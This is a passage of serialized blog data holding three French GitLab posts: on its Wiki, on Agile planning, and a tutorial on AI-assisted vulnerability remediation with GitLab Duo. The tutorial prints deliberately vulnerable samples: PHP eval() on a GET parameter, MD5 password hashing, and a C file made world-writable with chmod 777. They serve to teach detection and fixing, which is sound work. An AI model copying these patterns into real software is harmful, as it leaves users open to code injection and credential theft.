Scale","fr-fr/blog/best-practices-to-set-up-organizational-hierarchies-that-scale.yml","fr-fr/blog/best-practices-to-set-up-organizational-hierarchies-that-scale",{"_path":2603,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2604,"content":2610,"config":2616,"_id":2618,"_type":16,"title":2619,"_source":17,"_file":2620,"_stem":2621,"_extension":20},"/fr-fr/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management",{"title":2605,"description":2606,"ogTitle":2605,"ogDescription":2606,"noIndex":6,"ogImage":2607,"ogUrl":2608,"ogSiteName":841,"ogType":842,"canonicalUrls":2608,"schema":2609},"GitLab Wiki : l’outil pour une gestion efficace des connaissances ","Le GitLab Wiki, aide les entreprises à tirer parti de la planification Agile et du knowledge management. Découvrez les meilleures pratiques pour profiter de cet outil dans votre environnement DevSecOps.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660011/Blog/Hero%20Images/blog-image-template-1800x945__21_.png","https://about.gitlab.com/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Wiki : l’outil pour une gestion efficace des connaissances \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matthew Macfarlane\"}],\n        \"datePublished\": \"2024-07-17\",\n      }",{"title":2605,"description":2606,"authors":2611,"heroImage":2607,"date":2613,"body":2614,"category":1480,"tags":2615,"updatedDate":2148},[2612],"Matthew Macfarlane","2024-07-17","Pour toute entreprise, une planification Agile réussie passe par la maîtrise des processus de knowledge management. À ce niveau, l'outil wiki de la plateforme DevSecOps de GitLab vous apporte une aide précieuse. Le GitLab Wiki permet aux équipes DevOps de rationaliser les processus de [planification Agile](https://about.gitlab.com/fr-fr/solutions/agile-delivery/ \"Planification Agile\"), d'améliorer leur collaboration, et de s’assurer que les informations restent accessibles et à jour. \n\nDécouvrez dans cet article comment tirer parti du wiki de GitLab afin d'exceller en gestion des connaissances.\n\n## Qu'est-ce que le GitLab Wiki ?\n\nLe GitLab Wiki est disponible aux niveaux des projets et des groupes. Vos équipes peuvent créer, organiser et partager leur documentation directement dans leurs instances GitLab. Flexible et convivial, notre wiki prend en charge de nombreux formats, dont Markdown, RDoc, AsciiDoc et Org. Ainsi, vos informations bénéficient d'une présentation claire et lisible.\n\n## Les avantages de GitLab Wiki en knowledge management\n\nDans le cadre d'une stratégie de planification Agile, le GitLab Wiki apporte de nombreux avantages pour développer une gestion des connaissances fiable et exhaustive. \n\nEn voici quatre exemples :\n\n1. __Dépôt d'informations centralisé.__ Le GitLab Wiki sert de source unique de vérité où toutes les connaissances peuvent être stockées. Ainsi, tous les membres de l'équipe accèdent directement aux informations dont ils ont besoin, sans avoir à quitter la plateforme. \n\n2. __Collaboration et accessibilité.__ Son intégration au sein de GitLab favorise une gestion de projet agile et une collaboration optimale, chaque collaborateur ayant accès aux informations les plus récentes.\n\n3. __Contrôle de version.__ Notre wiki s'appuie sur la robustesse du système de contrôle de version de GitLab. Chaque modification est trackée et les versions précédentes peuvent être restaurées si nécessaire. Cet avantage est essentiel pour préserver l'intégrité de votre documentation dans le temps.\n\n4. __Modèles.__ Les modèles garantissent des contenus au format et au style cohérents au fil des pages, pour un rendu professionnel et une consultation fluide. Les modèles réutilisables vous font gagner du temps et simplifient la création et la mise à jour de vos pages. \n\n## Comment améliorer votre gestion des connaissances avec le GitLab Wiki ?\n\nNous pouvons définir la gestion des connaissances par l'ensemble des méthodes qui permettent de collecter, mémoriser, documenter et transmettre l'information au sein d'un groupe. En entreprise, c'est un élément crucial à la bonne [collaboration des équipes](https://about.gitlab.com/fr-fr/topics/version-control/software-team-collaboration/ \"collaboration des équipes\"). \n\nDans la pratique, voici cinq conseils à suivre avant d’utiliser le GitLab Wiki :\n\n1. __Organisez vos contenus de façon logique.__ Structurez avec pertinence les sections et les sous-sections de votre wiki. Regroupez les informations par catégories, au travers d'une hiérarchisation intuitive. Vos utilisateurs pourront ainsi trouver facilement l’information qu’ils recherchent. \n\n2. __Standardisez vos pratiques.__ Établissez des lignes directrices pour votre documentation : formatage cohérent, conventions de dénomination et structure de contenu uniforme. Une fois encore, utilisez les modèles de GitLab Wiki pour une meilleure standardisation de vos pratiques. \n\n3. __Effectuez des mises à jour et des révisions régulières.__ Contrairement aux tickets et aux epics, les pages wiki ne se ferment jamais. Des révisions et des mises à jour régulières s'imposent donc, afin de proposer des pages wiki toujours exactes. Encouragez les membres de votre équipe à y contribuer, au fur et à mesure que l'activité et les procédures évoluent.\n\n4. __Encouragez la collaboration.__ Favorisez une culture dans laquelle les membres d’une équipe sont encouragés à contribuer au wiki. Il peut s'agir de séances dédiées au partage de connaissances, d'incitations spécifiques aux contributions, ou de mises à jour de la documentation intégrées aux workflows des équipes. \n\n5. __Connectez les pages de votre wiki GitLab aux tickets et aux epics.__ La fonction d'auto-complétion de GitLab vous permet de relier ces derniers aux pages de votre wiki. Ces liens aideront votre équipe à identifier et à référencer plus facilement l'information tout au long du cycle de vie d’un projet.\n\n## Créez votre wiki dès aujourd’hui\n\nAvec le GitLab Wiki, votre entreprise peut efficacement appliquer les principes de planification Agile, atteindre une gestion efficace des connaissances, et valoriser pleinement sa documentation. \n\nL’utilisation de notre wiki pour la gestion des connaissances permet non seulement d'améliorer la productivité des équipes, mais également de favoriser une culture d'apprentissage et d'amélioration continue.\n\nIntégrez ces stratégies dans votre utilisation du GitLab Wiki, et observez les progrès de votre équipe en termes d'efficacité et de collaboration agile. Pour en savoir plus, consultez notre [documentation dédiée au GitLab Wiki](https://docs.gitlab.com/ee/user/project/wiki/ \"GitLab Wiki\").\n",[1482,1067,676],{"slug":2617,"featured":6,"template":683},"get-to-know-the-gitlab-wiki-for-effective-knowledge-management","content:fr-fr:blog:get-to-know-the-gitlab-wiki-for-effective-knowledge-management.yml","Get To Know The Gitlab Wiki For Effective Knowledge Management","fr-fr/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management.yml","fr-fr/blog/get-to-know-the-gitlab-wiki-for-effective-knowledge-management",{"_path":2623,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2624,"content":2630,"config":2637,"_id":2639,"_type":16,"title":2640,"_source":17,"_file":2641,"_stem":2642,"_extension":20},"/fr-fr/blog/how-gitlab-agile-planning-improves-collaborative-project-management",{"ogTitle":2625,"schema":2626,"ogImage":2627,"ogDescription":2628,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":2629,"title":2625,"canonicalUrls":2629,"description":2628},"Comment la planification Agile améliore la gestion de projet","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Comment la planification Agile de GitLab améliore la gestion de projet collaborative\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-07-16\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097041/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2822%29_718ZuurL0op4weunB2fBlD_1750097040694.png","GitLab transforme la gestion de projet en favorisant une culture de collaboration et d'amélioration continue. Découvrez comment.","https://about.gitlab.com/blog/how-gitlab-agile-planning-improves-collaborative-project-management",{"heroImage":2627,"body":2631,"authors":2632,"updatedDate":2633,"date":2634,"title":2635,"tags":2636,"description":2628,"category":1480},"Une collaboration efficace est le pilier de la gestion de projet Agile. Elle permet aux équipes de travailler de manière optimale pour livrer des logiciels toujours plus qualitatifs. Découvrez dans cet article comment [GitLab](https://about.gitlab.com/fr-fr/ \"Plateforme DevSecOps de GitLab\") facilite une collaboration fluide entre les équipes, améliorant par la même occasion les résultats de leurs projets. \n\n## Quels sont les avantages d'une gestion de projet collaborative pour les équipes agiles ?\n\nL'adoption de pratiques de gestion de projet collaboratives est essentielle pour les équipes agiles, car elle leur permet de profiter au maximum des environnements de développement dynamiques actuels. \n\nDécouvrez ses avantages et comment tirer pleinement parti des fonctionnalités de planification Agile de GitLab :\n\n- **Amélioration de la communication :** une meilleure collaboration facilite une communication fluide entre tous les membres de l'équipe, afin d'éviter les malentendus et de s'accorder sur des objectifs communs. Cela est particulièrement important dans les environnements Agile où les itérations rapides et les retours d'information continus sont la norme.\n  - *Avec GitLab, la décomposition des epics et l'utilisation de commentaires dans les fils de discussion permettent des échanges détaillés au sein des tickets, permettant à tous les membres de l'équipe d'être sur la même longueur d'onde.*\n\n- **Efficacité accrue :** en favorisant une culture collaborative, les équipes peuvent tirer parti des compétences et de l'expertise uniques de chaque membre, ce qui accélère la résolution de problèmes et la réalisation des tâches. Les outils de collaboration rationalisent les workflows, réduisent les goulots d'étranglement et améliorent la productivité des équipes.\t\n  - *Avec GitLab, la plateforme couvre l'ensemble des processus de développement logiciel, de la planification au déploiement, garantissant ainsi des workflows fluides et efficaces.*\n\n- **Amélioration de la prise de décision :** lorsque les membres d'une équipe travaillent en étroite collaboration, ils peuvent partager diverses perspectives et idées, et ainsi prendre des décisions plus éclairées. La collaboration favorise une culture d'intelligence collective, où les meilleures idées sont identifiées et mises en œuvre.\n  - *Avec GitLab, les tableaux de tickets et les labels aident à organiser et classer les idées par ordre d'importance, afin d'évaluer les options à disposition plus facilement pour faire les bons choix.*\n\n- **Moral et engagement renforcés :** un environnement collaboratif valorisant toutes les contributions peut considérablement améliorer le moral et l'engagement d'une équipe. Les équipes Agile qui collaborent de façon efficace sont plus motivées, ont un sentiment d'appartenance plus marqué et sont plus investies dans la réussite des projets.\n  - *Avec GitLab, mettez en avant les réalisations en vous référant aux contributions des membres de l'équipe et au flux d'activité.*\n\n- **Résultats de meilleure qualité :** une bonne collaboration se traduit souvent par des produits de meilleure qualité. L'évaluation par les pairs et les retours continus garantissent que les problèmes sont détectés et résolus rapidement. Cela contribue à créer des produits plus aboutis et plus robustes.\n  - *Avec GitLab, les modèles de projet et le suivi des jalons offrent des normes de qualité cohérentes pour tous les projets, ce qui permet d'effectuer des revues minutieuses et de standardiser les méthodes.*\n\n- **Adaptabilité et flexibilité :** les équipes agiles doivent pouvoir ajuster leur stratégie rapidement, en fonction des retours d'expérience et de l'évolution des besoins. Une bonne collaboration permet de modifier l'approche et les stratégies en temps réel, en veillant à ce que l'équipe reste réactive et alignée sur les objectifs du projet.\n  - *Avec GitLab, les roadmaps et la planification dynamique permettent d'ajuster la chronologie et les priorités en cours de projet, tout en préservant l'agilité et la réactivité des équipes.*\n\nEn intégrant ces pratiques collaboratives, les équipes agiles peuvent ainsi améliorer la productivité, l'innovation et les résultats de leurs projets.\n\n> Suivez les [mises à jour et informations relatives à la planification Agile de GitLab](https://about.gitlab.com/fr-fr/blog/categories/agile-planning/ \"Planification Agile GitLab\").\n\n## Comment GitLab aide les équipes agiles à collaborer efficacement ? \n\nGrâce à sa suite d'outils complète, GitLab est la plateforme idéale pour soutenir ces efforts collaboratifs. \n\n- **Développement Agile simplifié :** GitLab prend en charge la planification hiérarchique. Les équipes peuvent ainsi structurer leurs projets en epics, puis les décomposer en fonctionnalités, user stories et tâches. Cette structure bien définie garantit une gestion efficace et une visibilité claire des projets complexes, ce qui favorise la création continue de valeur ajoutée. En divisant le travail en segments détaillés, GitLab aide les équipes à se concentrer sur leur tâche pour atteindre leurs objectifs de façon plus efficace.\n\n![Liste imbriquée d'epics et de tickets](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097050298.png)\n\n- **Amélioration de la visibilité et de la responsabilisation :** la gestion des dépendances est un élément crucial des initiatives interfonctionnelles. Les outils de création, de suivi et de visualisation des dépendances de GitLab permettent aux équipes de comprendre comment leur travail s'inscrit dans un projet plus vaste. Cette visibilité élimine les goulots d'étranglement et aligne les contributions sur les objectifs du projet, en favorisant la responsabilisation et la coordination des progrès.\n\n![Capture d'écran montrant les dépendances liées aux initiatives](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097050300.png)\n\n- **Une plateforme unifiée pour tous les utilisateurs :** GitLab réunit toutes les parties prenantes au sein d'une même plateforme, éliminant ainsi l'effet de silo résultant généralement de l'utilisation d'outils disparates. Cette centralisation améliore la communication et la collaboration entre les équipes. Que vous soyez développeur ou développeuse, Project Manager, QA Specialist ou UX Designer, GitLab garantit à tous l’accès aux mêmes données et outils, afin de bénéficier d'un environnement de travail plus cohérent.\n\n- **Collaboration et communication en temps réel :** GitLab permet de collaborer en temps réel, grâce à des fonctionnalités telles que les merge requests, le suivi des tickets et les pipelines d'intégration continue/livraison continue ([CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Approche CI/CD\")). Elles optimisent le processus de développement et encouragent également un retour continu d'information et des améliorations itératives. Le chat intégré, les commentaires laissés dans les merge requests ainsi que les notifications en temps réel garantissent que les informations sont facilement accessibles et que les objectifs sont clairs pour toutes les parties prenantes au projet.\n\n![Capture d'écran d'une conversation par chat entre les équipes produit, développement et design](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097050305.png)\n\n- **Décisions basées sur les données et amélioration continue :** chaque action dans GitLab peut être mesurée, offrant ainsi des informations précieuses pour guider la planification stratégique et les ajustements opérationnels. [Les capacités analytiques de GitLab](https://about.gitlab.com/fr-fr/solutions/value-stream-management/ \"Capacités analytiques de GitLab\") permettent aux équipes de surveiller les indicateurs clés de performance, tels que la durée des cycles et la fréquence des déploiements. Cette approche basée sur les données garantit que les décisions reposent sur des faits plutôt que sur des hypothèses, qu'elles suivent les principes « Lean » et qu'elles favorisent l'amélioration continue.\n\n![Tableau de bord d'analyse du flux de valeur](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097050/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097050308.png)\n\n## Intégrez la planification Agile au sein de votre entreprise\n\nLes avantages de GitLab pour la gestion de projets sont innombrables. Bien plus qu'un simple outil, notre plateforme favorise une culture de collaboration et d'amélioration continue permettant aux équipes travaillant de manière cloisonnée, de collaborer de manière unifiée, efficace et motivée. \n\nGitLab redéfinit la gestion de projet collaborative en intégrant des outils de planification complets, avec des fonctionnalités de collaboration en temps réel, le tout au sein d'une plateforme unique. Notre plateforme s'aligne parfaitement avec la méthodologie Agile, ce qui permet aux équipes de gérer leurs projets de manière plus efficace et plus précise. Quelle que soit la taille de votre entreprise, GitLab possède les outils nécessaires pour relever les défis du développement logiciel moderne, afin que vous puissiez livrer des projets qualitatifs, plus rapidement.\n\n> Commencez votre [essai gratuit de GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial \"Essai gratuit de GitLab Ultimate\") et mettez en place une planification Agile au sein de votre entreprise.",[1477],"2024-10-14","2024-07-16","Comment la planification Agile améliore la gestion de projet collaborative",[1482],{"slug":2638,"featured":92,"template":683},"how-gitlab-agile-planning-improves-collaborative-project-management","content:fr-fr:blog:how-gitlab-agile-planning-improves-collaborative-project-management.yml","How Gitlab Agile Planning Improves Collaborative Project Management","fr-fr/blog/how-gitlab-agile-planning-improves-collaborative-project-management.yml","fr-fr/blog/how-gitlab-agile-planning-improves-collaborative-project-management",{"_path":2644,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2645,"content":2651,"config":2658,"_id":2660,"_type":16,"title":2661,"_source":17,"_file":2662,"_stem":2663,"_extension":20},"/fr-fr/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities",{"title":2646,"description":2647,"ogTitle":2646,"ogDescription":2647,"noIndex":6,"ogImage":2648,"ogUrl":2649,"ogSiteName":841,"ogType":842,"canonicalUrls":2649,"schema":2650},"Développement de GitLab Duo : corriger les failles de sécurité avec l'IA ","Ce tutoriel montre comment l'explication et la résolution des vulnérabilités de GitLab Duo, vous aident à résoudre rapidement les vulnérabilités.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098106/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098106040.png","https://about.gitlab.com/blog/developing-gitlab-duo-use-ai-to-remediate-security-vulnerabilities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Développement de GitLab Duo : corriger les failles de sécurité avec l'IA \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"},{\"@type\":\"Person\",\"name\":\"Alana Bellucci\"}],\n        \"datePublished\": \"2024-07-15\",\n      }\n                  ",{"title":2646,"description":2647,"authors":2652,"heroImage":2648,"date":2654,"body":2655,"category":697,"tags":2656,"updatedDate":2657},[2431,2653],"Alana Bellucci","2024-07-15","Imaginez que dès votre premier jour dans votre nouveau poste, un incident de production majeur mobilise l'intervention de chaque membre de votre équipe. De nombreuses vulnérabilités critiques apparaissent, nécessitant une attention, une analyse, une atténuation et une correction immédiates. Mais par où commencer votre enquête ? \n\nDécouvrez comment l'explication et la résolution des vulnérabilités de GitLab Duo, ainsi que nos autres fonctionnalités alimentées par l'IA, peuvent vous aider à résoudre les vulnérabilités en quelques minutes. L'exemple pratique ci-dessous illustre comment bénéficier de l'assistance alimentée par l'IA de GitLab Duo pour analyser et expliquer les vulnérabilités. Des mesures correctives supplémentaires, accompagnées de corrections de code générées par l'IA dans les merge requests, sont également mises en évidence afin d'accélérer la résolution des vulnérabilités.\n\n> Démarrez [un essai gratuit de GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/#free-trial) pour profiter des avantages de la correction des vulnérabilités au sein de vos équipes.\n\n## Première étape : l'analyse\n\nLa première étape consiste à évaluer l'impact et la gravité de la vulnérabilité. Ouvrez l'interface utilisateur de GitLab et accédez au [rapport de vulnérabilités](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) accessible via le menu `Sécurisation > Rapport de vulnérabilités`. Appliquez le filtre `SAST` pour identifier les vulnérabilités les plus critiques à traiter.\n\n![Aperçu des rapports de vulnérabilités](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/vulnerability_reports_overview_aHR0cHM6_1750098116056.png)\n\nLes résultats du scanner SAST sont présentés sous forme d'un résumé dans la vue détaillée, avec un lien vers le code source. Ils incluent des informations provenant d'avis de sécurité accessibles au public. Les équipes de développement rencontrent souvent des difficultés pour lancer l'analyse directement à partir du rapport de sécurité, surtout si elles ne sont pas pleinement informées de la portée de l'attaque, des détails techniques et des environnements affectés.\n\n## Comprendre et atténuer les risques avec l'explication des vulnérabilités\n\nIl est essentiel de bien comprendre la vulnérabilité et de déterminer la manière la plus appropriée et la plus efficace de la corriger. Les corrections apportées ne doivent pas compromettre les fonctionnalités existantes. Si c'est le cas, il est important d'échanger avec les chargés de maintenance et les Product Owners, et de fournir un résumé détaillé des vulnérabilités ainsi que des mesures d'atténuation possibles. Lorsque vous devez traiter du code écrit par un ancien employé qui a quitté l'entreprise ou du code qui n'a pas été testé, cela peut compliquer considérablement la planification des corrections.  \n\nL'explication des vulnérabilités alimentée par l'IA permet de résumer la manière dont un attaquant peut exploiter la vulnérabilité et apporte des informations supplémentaires sur son impact et les mesures correctives possibles.\n\nPar exemple, une vulnérabilité d'injection de commandes dans le système d'exploitation, comme illustrée dans l'extrait de code suivant :\n\n```php\n\u003C?php \n\n// Read variable name from GET request\n$name = $_GET['name'];\n\n// Use the variable name to call eval and print its value \neval('echo $' . $name . ';');\n```\n\nLe rapport de vulnérabilité n'est pas assez détaillé et nécessite une compréhension complète du contexte et de l'impact. Sélectionnez le bouton `Expliquer la vulnérabilité` dans le coin supérieur droit. GitLab Duo Chat s'ouvre et suggère une action prédéfinie de prompt. Cette fonctionnalité vous fournit des informations supplémentaires sur la vulnérabilité, car elle décrit comment celle-ci peut être exploitée et corrigée. \n\n![Neutralisation incorrecte des\néléments spéciaux utilisés dans une commande de système d'exploitation\n('OS Command Injection') ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image9_aHR0cHM6_1750098116057.png)\n\n### Faire de l’explication des vulnérabilités une conversation contextuelle\n\nVous remarquerez également un changement au niveau de l'interface utilisateur : le volet d'explication des vulnérabilités a été remplacé par un workflow GitLab Duo Chat. Parfois, une vulnérabilité complexe nécessite d'être décomposée en plusieurs étapes d'atténuation ou passe par des chemins de code source peu clairs.\n\nVous pouvez explorer l'arborescence du code source et utiliser le même contexte de Chat pour expliquer, corriger, réusiner et tester le code.\n\nVoyons comment fonctionne le workflow complet à l'aide d'un exemple en langage C, dans lequel le scanning de sécurité a détecté un débordement de tampon.\n\n1. Ouvrez la vue détaillée de la faille de sécurité et sélectionnez le bouton `Expliquer la vulnérabilité` en haut à droite. Le prompt de GitLab Duo Chat s'ouvre, fournit un résumé du problème et des vecteurs d'attaque potentiels, puis propose une solution.\n\n![Utilisation de l'IA pour les vulnérabilités - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750098116059.png)\n\n2. Passez en revue la correction proposée et demandez à GitLab Duo Chat de vous indiquer d'autres solutions, en utilisant le prompt `Pouvez-vous proposer une solution alternative en utilisant une fonction différente ?`. L'idée est d'en apprendre davantage sur les fonctions alternatives à `strcpy()` dont l'utilisation pourrait être plus sûre.\n\n![Utilisation de l'IA pour les vulnérabilités - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098116060.png)\n\n3. GitLab Duo Chat propose une solution alternative qui utilise `strlcpy()`, illustrée dans l'exemple suivant. Cette fonction ne copie que le nombre de caractères autorisé dans la chaîne cible et termine toujours la chaîne par « null ». Elle renvoie également la longueur de la chaîne source pour déterminer si celle-ci a été tronquée.\n\n![Utilisation de l'IA pour les vulnérabilités - image 5](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image10_aHR0cHM6_1750098116062.png)\n\n4. Cliquez ensuite sur l'URL du fichier `Emplacement` pour accéder à la vue du code source. Ouvrez à nouveau GitLab Duo Chat et vérifiez que le contexte d'explication de la vulnérabilité précédente est toujours présent. L'étape suivante consiste à ajouter des tests avant d'appliquer la correction proposée. Cette approche permet d'éviter de perturber des fonctionnalités ou d'introduire des régressions. Par exemple, utilisez le prompt suivant : `En fonction du contexte de la vulnérabilité et du code source ouvert, comment ajouteriez-vous des tests pour cette vulnérabilité ?`.\n\n![Utilisation de l'IA pour les vulnérabilités - image 7 ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750098116063.png)\n\n5. Après avoir généré les tests (et en supposant qu'ils ont maintenant été ajoutés), vous pouvez également demander à GitLab Duo Chat de réusiner le code source, en utilisant le prompt `Pouvez-vous également réusiner le code source ?` dans la même session.\n\n![Utilisation de l'IA pour les vulnérabilités - image 6](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098116063.png)\n\nLe workflow montre comment analyser, comprendre, atténuer, obtenir des approches alternatives, ajouter des tests et même réusiner les corrections de vulnérabilités. \n\nVous pouvez reprendre cette mesure corrective à l'aide de GitLab Duo Chat, puis basculer dans le Web IDE pour modifier le code source après avoir appris comment faire. Parmi les autres workflows continus, citons la validation des modifications et le déclenchement des [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"), ainsi que les scans de sécurité réalisés tout au long du cycle de développement DevSecOps. \n\n## Corriger les failles de sécurité avec la résolution des vulnérabilités assistées par l'IA\n\nPour comprendre et corriger une faille de sécurité, des compétences en développement sont toujours nécessaires pour créer un correctif, exécuter des pipelines et effectuer des scans de sécurité dans une merge request. Il peut également être nécessaire de déployer les corrections dans un environnement de staging et de les tester sur une période plus longue.\n\nL'IA peut être utile dans cette situation, en proposant une correction en fonction du contexte et du code source fournis.\n\nAstuce : pensez à la vulnérabilité la plus frustrante que vous avez dû corriger au cours de votre carrière et recréez-la pour vous familiariser avec GitLab Duo. La [liste CWE de Mitre qui recense les 25 faiblesses logicielles les plus dangereuses](https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html) peut être également un bon point de départ.  \n\nL'exemple suivant implémente la faille [CWE-328 : Utilisation d'une fonction de hachage faible](https://cwe.mitre.org/data/definitions/328.html) en utilisant `md5`. La faille est correctement identifiée par [le test SAST](https://docs.gitlab.com/ee/user/application_security/sast/).  \n\n```python\nimport hashlib\n\nclass User:\n    def __init__(self, username, password):\n        self.username = username\n        self.password = password\n\n    def set_password(self, password):\n        self.password = hashlib.md5(password.encode()).hexdigest()\n```\n\n![Utilisation de l'IA pour les vulnérabilités - image 8](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image7_aHR0cHM6_1750098116064.png)\n\nCliquez sur le bouton en haut à droite `Résoudre avec une merge request`. Une merge request s'ouvre, dans laquelle une correction générée par l'IA est proposée. Dans le cas de cette vulnérabilité, une correction possible consisterait à utiliser une fonction de hachage différente.\n\n![Utilisation de l'IA pour les vulnérabilités - image 9](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098116065.png)\n\nLe fait de ne pas vérifier les codes d'erreur des fonctions ou les exceptions potentielles est un autre exemple de vulnérabilité courante. Les extraits de code en langage C suivants illustrent un exemple d'attaques par temporisation contre les opérations de fichiers en lien avec la faille [CWE-362](https://cwe.mitre.org/data/definitions/362.html) pour les appels `fopen()` et `chmod()`. \n\n```c\n#include \u003Cstdio.h>\n#include \u003Cstring.h>\n#include \u003Csys/mman.h>\n#include \u003Csys/stat.h>\n#include \u003Cunistd.h>\n\nint main(int argc, char **argv) {##$_0A$####$_0A$##    // File operations##$_0A$##    char *fname = \"gitlab.keksi\";##$_0A$####$_0A$##    FILE *fp;##$_0A$##    fp = fopen(fname, \"r\");##$_0A$##    fprintf(fp, \"Hello from GitLab Duo Vulnerability Resolution Challenge\");##$_0A$##    fclose(fp);##$_0A$####$_0A$##    // Potential chmod() timing attacks    ##$_0A$####$_0A$##    // Make the file world readable##$_0A$##    chmod(fname, S_IRWXU|S_IRWXG|S_IRWXO);##$_0A$####$_0A$##    return 0;##$_0A$##}\n```\n\nLe rapport SAST pour l'appel `chmod()` ressemblerait à ceci : \n\n![Utilisation de l'IA pour les vulnérabilités - image 10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750098116065.png)\n\nLa merge request `chmod()` proposée inclut la gestion des erreurs et corrige un autre problème potentiel affectant les fichiers accessibles en écriture dans le monde entier, en modifiant les autorisations de `777` à `600`.\n\n![Utilisation de l'IA pour les vulnérabilités - image 11](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098116/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098116066.png)\n\n> Essayez l'exercice asynchrone suivant : recherchez, analysez et corrigez la vulnérabilité de la fonction `fopen()`.\n\n## Nécessité d'une prise en charge accrue de l'IA par GitLab Duo \n\nSouvent, un problème de sécurité peut être temporairement résolu par une correction rapide ou une solution de contournement qui donne aux équipes de développement le temps nécessaire pour élaborer une solution plus durable. Dans d'autres situations, le problème peut devenir plus complexe et nécessiter la désactivation des API de fonctionnalités ou l'atténuation des règles du pare-feu jusqu'à ce qu'un correctif approprié puisse être déployé en production.\n\nGitLab Duo offre des fonctionnalités avancées alimentées par l'IA capables de résoudre ces problèmes. \n\n**Explication du code :** en tant que développeur ou ingénieur en sécurité, il est essentiel de comprendre les modifications apportées au code. Dans l'IDE, utilisez la [fonctionnalité d'explication du code](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide) pour avoir une meilleure compréhension du correctif proposé par l'IA pour résoudre la vulnérabilité. Vous saurez exactement quels ajustements ont été réalisés et leurs justifications.\n\n**Analyse des causes profondes :** si un correctif fait échouer votre pipeline, utilisez la [fonctionnalité d'analyse des causes profondes](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/). Cet outil identifie et explique le problème sous-jacent, ce qui vous donne les moyens de le résoudre efficacement. Après avoir appliqué les corrections nécessaires, vous pouvez relancer les tests pour vous assurer que le problème est résolu.\n\n**Réusinage :** même après la correction d'une vulnérabilité, il est pertinent de se demander si le code peut être amélioré pour être plus sécurisé. Dans l'IDE, ouvrez GitLab Duo Chat et utilisez l'[action de réusinage](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#refactor-code-in-the-ide) pour explorer d'autres moyens plus sûrs d'écrire votre code. Cette approche proactive permet de maintenir un code base robuste et sécurisé.\n\nEn tirant parti de ces fonctionnalités offertes par GitLab Duo, vous pouvez aborder et résoudre les failles de sécurité en toute confiance, en veillant à la sécurité et l'efficacité de votre code.\n\n## Et après ?\n\nNous prévoyons d'intégrer directement l'explication et la résolution des vulnérabilités en amont du cycle du développement logiciel, dans le processus de merge request. Cette intégration vous permettra de traiter et de résoudre les vulnérabilités plus tôt dans le cycle de développement, d'optimiser votre workflow et d'améliorer la sécurité du code dès le début du projet.\n\n## Lancez-vous dès maintenant avec GitLab Duo\n\nConsultez notre [documentation](https://docs.gitlab.com/ee/user/gitlab_duo/turn_on_off.html) pour activer les fonctionnalités offertes par GitLab Duo. De plus, l'[explication des 